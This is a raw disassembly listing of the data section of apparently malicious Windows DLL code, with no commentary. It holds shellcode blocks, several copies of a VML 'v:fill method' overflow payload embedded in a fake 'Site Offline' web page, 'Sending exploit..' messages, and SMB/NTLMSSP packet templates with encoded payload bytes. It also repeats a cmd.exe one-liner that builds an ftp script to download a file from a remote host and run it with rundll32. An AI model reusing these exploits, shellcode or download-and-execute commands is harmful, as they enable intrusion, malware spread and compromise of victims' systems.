dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_1000E35C dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
; DATA XREF: sub_10001EBF+52o
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_1000E3EC dd 23h ; DATA XREF: sub_100013AB+2Do
; char dword_1000E3F0[]
dword_1000E3F0 dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_10001433+107o
; char aCccc[]
aCccc db 'CCCC',0 ; DATA XREF: sub_10001433+185o
align 4
dword_1000E404 dd 3 ; DATA XREF: sub_10001433+29Co
; char dword_1000E408[]
dword_1000E408 dd 0A1h ; DATA XREF: sub_10001433+30Bo
; char dword_1000E40C[]
dword_1000E40C dd 30h ; DATA XREF: sub_10001433+338o
; char dword_1000E410[]
dword_1000E410 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_10001433+365o
; char dword_1000E41C[]
dword_1000E41C dd 60h ; DATA XREF: sub_10001433+392o
; char Format[]
Format db '%s.dll',0 ; DATA XREF: sub_10001EBF+6Co
align 4
; char aCmd_exeCEchoOp[]
aCmd_exeCEchoOp db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
; DATA XREF: sub_10001EBF+A0o
db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
align 4
aP:
unicode 0, <P>,0
dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
; char aS_5[]
aS_5 db '\%s',0 ; DATA XREF: sub_10002157+3Co
; char aSS[]
aSS db '%s%s',0 ; DATA XREF: sub_10002157+195o
align 4
; char Delim[]
Delim: ; DATA XREF: sub_10002157+1AFo
dw 0Ah
unicode 0, <>,0
; char Source[]
Source: ; DATA XREF: sub_10002157+235o
unicode 0, <*>,0
; char asc_1000E8B4[]
asc_1000E8B4: ; DATA XREF: sub_100024A5+5Do
dw 0Ah
unicode 0, <>,0
; char aHead[]
aHead db '<head>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+91o
align 4
; char aTitleSiteOffli[]
aTitleSiteOffli db '<title>Site Offline.</title>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+F6o
align 4
; char aStyle[]
aStyle db '<style>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+133o
align 10h
; char aVBehaviorUrlDe[]
aVBehaviorUrlDe db 'v:* { behavior: url(#default#VML); }',0Dh,0Ah,0
; DATA XREF: sub_100024A5+170o
align 4
; char aStyle_0[]
aStyle_0 db '</style>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+1ADo
align 4
; char aHead_0[]
aHead_0 db '</head>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+1EAo
align 10h
; char aBody[]
aBody db '<body>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+227o
align 4
; char aVFillMethodAaa[]
aVFillMethodAaa db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
; DATA XREF: sub_100024A5+264o
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐'
db '37008;邐邐邐邐邐邐邐'
db '6459;澾潯买澿〰佰㥃'
db '011;䯻㎀㧮ﱳ폿潮ğ'
db '83;䬇뇮侊깥ਰ'
db '2;敃ᥥڷ&'
db '#5900;膆蛮鲛莂ᆺ篸8'
db '838;淮츂㉥캄ᆽᝪ'
db '5;닭삏⦋雪븮'
db ';붾뺹렑旾븲ᆽ&'
db '#47121;뿢斸튛驥雀ᯭ斸'
db '2888;ᯭ⟝꾧﹐'
db '48;┯긴ἅছ新&'
db '#51888;㏭斈ꗢ끥攳旪'
db '11245;끅렆ᄑ怑⼂'
db '67;癖搐郠శ쇴㎞'
db ';纖繾繾繾繾繾繾繾'
db '繾繾繾繾敾渲〰遰/'
db '>',0Dh,0Ah,0
align 4
; char aVRect[]
aVRect db '</v:rect>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+2A1o
; char aBody_0[]
aBody_0 db '</body>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+2DEo
align 10h
; char aHtml[]
aHtml db '</html>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+31Bo
align 4
aSSendingExploi db '%s Sending exploit..',0 ; DATA XREF: sub_100024A5+35Do
align 4
; char aS_dll_0[]
aS_dll_0 db '%s.dll',0 ; DATA XREF: sub_100024A5+389o
align 4
; char aCmd_exeCEcho_0[]
aCmd_exeCEcho_0 db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
; DATA XREF: sub_100024A5+3BDo
db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
align 10h
; char aVFillMethodA_0[]
aVFillMethodA_0 db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
; DATA XREF: sub_100024A5:loc_10002891o
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐'
db '37008;邐邐邐邐邐邐邐'
db '6459;澾潯买澿〰佰㥃'
db '011;䯻㎀㧮ﱳ폿潮ğ'
db '83;䬇뇮侊깥ਰ'
db '2;敃ᥥڷ&'
db '#5900;膆蛮鲛莂ᆺ篸8'
db '838;淮츂㉥캄ᆽᝪ'
db '5;닭삏⦋雪븮'
db ';붾뺹렑旾븲ᆽ&'
db '#47121;뿢斸튛驥雀ᯭ斸'
db '2888;ᯭ⟝꾧﹐'
db '48;┯긴ἅছ新&'
db '#51888;㏭斈ꗢ끥攳旪'
db '11245;끅렆ᄑ怑⼂'
db '67;癖搐郠శ쇴㎞'
db ';纖繾繾繾繾繾繾繾'
db '繾繾繾繾敾渲〰遰/'
db '>',0Dh,0Ah,0
align 4
; char aVFillMethodA_1[]
aVFillMethodA_1 db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
; DATA XREF: sub_100024A5+4AAo
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐'
db '37008;邐邐邐邐邐邐邐'
db '6459;澾潯买澿〰佰㥃'
db '011;䯻㎀㧮ﱳ폿潮ğ'
db '83;䬇뇮侊깥ਰ'
db '2;敃ᥥڷ&'
db '#5900;膆蛮鲛莂ᆺ篸8'
db '838;淮츂㉥캄ᆽᝪ'
db '5;닭삏⦋雪븮'
db ';붾뺹렑旾븲ᆽ&'
db '#47121;뿢斸튛驥雀ᯭ斸'
db '2888;ᯭ⟝꾧﹐'
db '48;┯긴ἅছ新&'
db '#51888;㏭斈ꗢ끥攳旪'
db '11245;끅렆ᄑ怑⼂'
db '67;癖搐郠శ쇴㎞'
db ';纖繾繾繾繾繾繾繾'
db '繾繾繾繾敾渲〰遰/'
db '>',0Dh,0Ah,0
align 4
; char Str2[]
Str2 db '..',0 ; DATA XREF: sub_100024A5+527o
align 4
; char a_[]
a_: ; DATA XREF: sub_100024A5+543o
unicode 0, <.>,0
aPm db 'PM',0 ; DATA XREF: sub_100024A5+597o
align 4
aAm db 'AM',0 ; DATA XREF: sub_100024A5:loc_10002A48o
align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_100024A5+627o
; char aVFillMethodA_2[]
aVFillMethodA_2 db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
; DATA XREF: sub_100024A5+668o
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐'
db '37008;邐邐邐邐邐邐邐'
db '6459;澾潯买澿〰佰㥃'
db '011;䯻㎀㧮ﱳ폿潮ğ'
db '83;䬇뇮侊깥ਰ'
db '2;敃ᥥڷ&'
db '#5900;膆蛮鲛莂ᆺ篸8'
db '838;淮츂㉥캄ᆽᝪ'
db '5;닭삏⦋雪븮'
db ';붾뺹렑旾븲ᆽ&'
db '#47121;뿢斸튛驥雀ᯭ斸'
db '2888;ᯭ⟝꾧﹐'
db '48;┯긴ἅছ新&'
db '#51888;㏭斈ꗢ끥攳旪'
db '11245;끅렆ᄑ怑⼂'
db '67;癖搐郠శ쇴㎞'
db ';纖繾繾繾繾繾繾繾'
db '繾繾繾繾敾渲〰遰/'
db '>',0Dh,0Ah,0
align 4
; char aSS_0[]
aSS_0 db '%s%s/',0 ; DATA XREF: sub_100024A5+6B0o
align 4
; char aCode_29sGtCode[]
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_100024A5+708o
align 4
; char aCodeSCodeA[]
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_100024A5+72Bo
align 4
; char aTdTdWidthDCode[]
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_100024A5+77Do
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSSendingExpl_0 db '%s Sending exploit..',0 ; DATA XREF: sub_100024A5+7BFo
align 4
; char aS_dll_1[]
aS_dll_1 db '%s.dll',0 ; DATA XREF: sub_100024A5+7EBo
align 4
; char aCmd_exeCEcho_1[]
aCmd_exeCEcho_1 db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
; DATA XREF: sub_100024A5+81Fo
db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
align 10h
; char aS[]
aS db '<%s>',0 ; DATA XREF: sub_100024A5+85Ao
align 4
; char a31s21s[]
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+882o
align 4
aSSendingExpl_1 db '%s Sending exploit..',0 ; DATA XREF: sub_100024A5+8C4o
align 10h
; char aS_dll_2[]
aS_dll_2 db '%s.dll',0 ; DATA XREF: sub_100024A5+8F0o
align 4
; char aCmd_exeCEcho_2[]
aCmd_exeCEcho_2 db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
; DATA XREF: sub_100024A5+924o
db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_100024A5+976o
db '<TD WIDTH="%d"><A HREF="',0
align 4
; char aSS_1[]
aSS_1 db '%s%s',0 ; DATA XREF: sub_100024A5+9BEo
align 4
; char aCode_30sGtCode[]
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_100024A5+A1Bo
align 4
; char aCodeSCodeA_0[]
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_100024A5+A3Eo
align 4
; char aTdTdWidthDCo_0[]
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_100024A5+A9Ao
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aSSendingExpl_2 db '%s Sending exploit..',0 ; DATA XREF: sub_100024A5+ADCo
align 4
; char aS_dll_3[]
aS_dll_3 db '%s.dll',0 ; DATA XREF: sub_100024A5+B08o
align 4
; char aCmd_exeCEcho_3[]
aCmd_exeCEcho_3 db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
; DATA XREF: sub_100024A5+B3Bo
db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
align 4
; char a31s21sIBytes[]
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+B81o
align 4
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_100024A5+BD6o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
; char aVFillMethodA_3[]
aVFillMethodA_3 db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
; DATA XREF: sub_100024A5:loc_10003097o
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐'
db '37008;邐邐邐邐邐邐邐'
db '6459;澾潯买澿〰佰㥃'
db '011;䯻㎀㧮ﱳ폿潮ğ'
db '83;䬇뇮侊깥ਰ'
db '2;敃ᥥڷ&'
db '#5900;膆蛮鲛莂ᆺ篸8'
db '838;淮츂㉥캄ᆽᝪ'
db '5;닭삏⦋雪븮'
db ';붾뺹렑旾븲ᆽ&'
db '#47121;뿢斸튛驥雀ᯭ斸'
db '2888;ᯭ⟝꾧﹐'
db '48;┯긴ἅছ新&'
db '#51888;㏭斈ꗢ끥攳旪'
db '11245;끅렆ᄑ怑⼂'
db '67;癖搐郠శ쇴㎞'
db ';纖繾繾繾繾繾繾繾'
db '繾繾繾繾敾渲〰遰/'
db '>',0Dh,0Ah,0
align 4
aSSendingExpl_3 db '%s Sending exploit..',0 ; DATA XREF: sub_100030D9+66o
align 10h
; char aS_dll_4[]
aS_dll_4 db '%s.dll',0 ; DATA XREF: sub_100030D9+92o
align 4
; char aCmd_exeCEcho_4[]
aCmd_exeCEcho_4 db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
; DATA XREF: sub_100030D9+C6o
db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
align 4
; char SubStr[]
SubStr db 'GET ',0 ; DATA XREF: sub_1000329E+492o
align 4
; char asc_10010AC4[]
asc_10010AC4: ; DATA XREF: sub_1000329E+4BFo
unicode 0, < >,0
; char asc_10010AC8[]
asc_10010AC8: ; DATA XREF: sub_1000329E+4C4o
unicode 0, < >,0
; char aGet_0[]
aGet_0 db 'GET ',0 ; DATA XREF: sub_1000329E+4C9o
align 4
; char asc_10010AD4[]
asc_10010AD4 db 0Dh,0Ah,0 ; DATA XREF: sub_1000329E:loc_100037B7o
align 4
aSSendingExpl_4 db '%s Sending exploit..',0 ; DATA XREF: sub_1000329E+6A4o
align 10h
; char aS_dll_5[]
aS_dll_5 db '%s.dll',0 ; DATA XREF: sub_1000329E+6D0o
align 4
; char aCmd_exeCEcho_5[]
aCmd_exeCEcho_5 db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
; DATA XREF: sub_1000329E+703o
db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
align 4
; char aTextHtml[]
aTextHtml db 'text/html',0 ; DATA XREF: StartAddress+7Eo
align 4
; char aApplicationOct[]
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: StartAddress+97o
align 4
; char aDddDdMmmYyyy[]
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: StartAddress+B5o
align 4
; char aHhMmSs[]
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: StartAddress+D2o
align 4
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: StartAddress+120o
db 'Server: HTTPd',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: StartAddress+174o
db 'Server: HTTPd',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aSSendingExpl_5 db '%s Sending exploit..',0 ; DATA XREF: StartAddress+1B9o
align 4
; char aS_dll_6[]
aS_dll_6 db '%s.dll',0 ; DATA XREF: StartAddress+1E5o
align 10h
; char aCmd_exeCEcho_6[]
aCmd_exeCEcho_6 db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
; DATA XREF: StartAddress+219o
db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
align 4
; char aB[]
aB: ; DATA XREF: sub_10003D60+C3o
unicode 0, <>
dw 4400h
aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0
; char byte_10010E7C[]
byte_10010E7C db 3 dup(0) ; DATA XREF: sub_10003D60+F7o
db 54h
dd 424D53FFh, 72h, 28011800h, 3 dup(0)
dd 1D300000h, 0EC840000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh
; char byte_10010ED4[]
byte_10010ED4 db 3 dup(0) ; DATA XREF: sub_10003D60+12Eo
db 0B5h
dd 424D53FFh, 73h, 28011800h, 3 dup(0)
dd 1D300000h, 0EC840000h, 0FF0Ch, 2FFDF00h, 100h, 57000000h
dd 0
db 0
db 5Ch, 0D0h, 0
db 80h ; €
db 7Ah, 0, 60h
db 55h ; U
db 2 dup(6), 2Bh
db 6
db 1, 2 dup(5)
db 2
db 0A0h, 4Bh, 30h
db 49h ; I
db 0A0h, 0Eh, 30h
db 0Ch
db 6, 0Ah, 2Bh
db 6
db 1, 4, 1
db 82h ; ‚
db 37h, 2 dup(2)
db 0Ah
db 0A2h, 37h, 4
a5ntlmssp db '5NTLMSSP',0
db 1, 2 dup(0)
db 0
db 1, 2, 8
db 0
db 9, 0, 9
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 29h, 2 dup(0)
db 0
aWorkgroupworks db 'WORKGROUPWORKSTATION1Windows 2000 2195',0
aWindows20005_0 db 'Windows 2000 5.0',0
align 10h
; char byte_10010F90[]
byte_10010F90 db 2 dup(0) ; DATA XREF: sub_10003D60+165o
dw 401h
dd 424D53FFh, 73h, 28011800h, 3 dup(0)
dd 1D300000h, 0EC840800h, 0FF0Ch, 2FFDF00h, 100h, 0A6000000h
dd 0
dd 0D05C00h, 0A100C980h, 8130A381h, 9D81A2A0h, 4E9A8104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 12000000h, 70001200h, 0
dd 82000000h, 18000000h, 82001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 25h
db 0A6h ; ¦
db 9Fh, 80h, 96h
db 31h ; 1
db 6Ch, 0CAh, 0A0h
db 8
db 9Fh, 12h, 7Eh
db 47h ; G
db 0CDh, 45h, 10h
db 25h ; %
db 39h, 7Dh, 0F8h
db 55h ; U
db 66h, 3, 57h
db 0
db 4Fh, 0, 52h
db 0
db 4Bh, 0, 47h
db 0
db 52h, 0, 4Fh
db 0
db 55h, 0, 50h
db 0
db 57h, 0, 4Fh
db 0
db 52h, 0, 4Bh
db 0
db 53h, 0, 54h
db 0
db 41h, 0, 54h
db 0
db 49h, 0, 4Fh
db 0
db 4Eh, 0, 31h
db 0
aWindows2000219 db 'Windows 2000 2195',0
aWindows20005_1 db 'Windows 2000 5.0',0
; char byte_10011098[]
byte_10011098 db 3 dup(0) ; DATA XREF: sub_10003D60+199o
db 3Ah
dd 424D53FFh, 75h, 20011800h, 3 dup(0)
dd 1D300000h, 0EC840800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
; char byte_100110D8[]
byte_100110D8 db 3 dup(0) ; DATA XREF: sub_10003D60+1CDo
db 5Ch
dd 424D53FFh, 0A2h, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h
; char byte_10011138[]
byte_10011138 db 3 dup(0) ; DATA XREF: sub_10003D60+204o
db 92h
dd 424D53FFh, 25h, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 48000010h, 0E0040000h, 0FFh
dd 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
; char byte_100111D0[]
byte_100111D0 db 2 dup(0) ; DATA XREF: sub_10003D60+23Bo
dw 5701h
dd 424D53FFh, 2Fh, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 0FF0Eh, 400000h, 0FF000000h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 1C001F00h, 118C467h, 0
dd 1000000h, 0
dd 6334BF00h, 1, 63000000h, 93000001h, 0FC489648h, 0F9989340h
dd 969F9F98h, 40902737h, 0D64E4B9Fh, 83C92B93h, 0EED9AFE9h
dd 0F42474D9h, 1373815Bh, 0E9D82A2Dh, 0E2FCEB83h, 27EEACF4h
dd 9CD5D206h, 95C14715h, 27D5D401h, 0B4A14D16h, 9DA109CDh
dd 0DD56A6D5h, 53C52C91h, 87A135A6h, 91C12CC9h, 0D9A11962h
dd 41EA1C07h, 0ACEAA945h, 0D5E0ECEEh, 2CC1EFE8h, 0F00E79D2h
